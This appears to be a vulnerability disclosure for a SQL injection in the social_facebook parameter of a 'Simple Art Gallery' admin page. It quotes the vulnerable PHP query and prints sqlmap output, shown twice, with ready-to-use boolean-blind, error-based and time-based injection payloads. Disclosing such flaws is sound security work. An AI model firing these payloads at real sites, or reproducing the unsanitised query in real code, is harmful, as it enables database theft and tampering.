SIMPLE ART GALLERY system has Sql injection vulnerabilities

SIMPLE ART GALLERY system has Sql injection vulnerabilities. The vulnerability is located in the social_facebook parameter of the adminHome.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.

```
//Social Content Update
if(isset($_POST['social_facebook']))
{
    $query="update social_media set facebook='".$_POST['social_facebook']."' where uid=1";
    mysqli_query($link,$query) or die("Error updating data.".mysqli_error($link));
    $socia_error="Update Successfully...";
}
```

```
sqlmap identified the following injection point(s) with a total of 387 HTTP(s) requests:
---
Parameter: social_facebook (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: social_facebook=1sleep(15),0)' RLIKE (SELECT (CASE WHEN (2048=2048) THEN 0x31736c656570283135292c3029 ELSE
0x28 END))-- Hujx

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: social_facebook=1sleep(15),0)' AND EXTRACTVALUE(9497,CONCAT(0x5c,0x71766a7871,(SELECT (ELT(9497=9497,1))),0
x716b717071))-- pqab

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: social_facebook=1sleep(15),0)' RLIKE SLEEP(5)-- oPgQ
---
```

Sqlmap Attack

```
sqlmap identified the following injection point(s) with a total of
387 HTTP(s) requests:
---
Parameter: social_facebook (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER
BY or GROUP BY clause
    Payload: social_facebook=1sleep(15),0)' RLIKE (SELECT (CASE
```

```
WHEN (2048=2048) THEN 0x31736c656570283135292c3029 ELSE 0x28
END))-- Hujx

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (EXTRACTVALUE)
    Payload: social_facebook=1sleep(15),0)' AND
EXTRACTVALUE(9497,CONCAT(0x5c,0x71766a7871,(SELECT
(ELT(9497=9497,1))),0x716b717071))-- pqab

    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: social_facebook=1sleep(15),0)' RLIKE SLEEP(5)-- oPgQ
---
```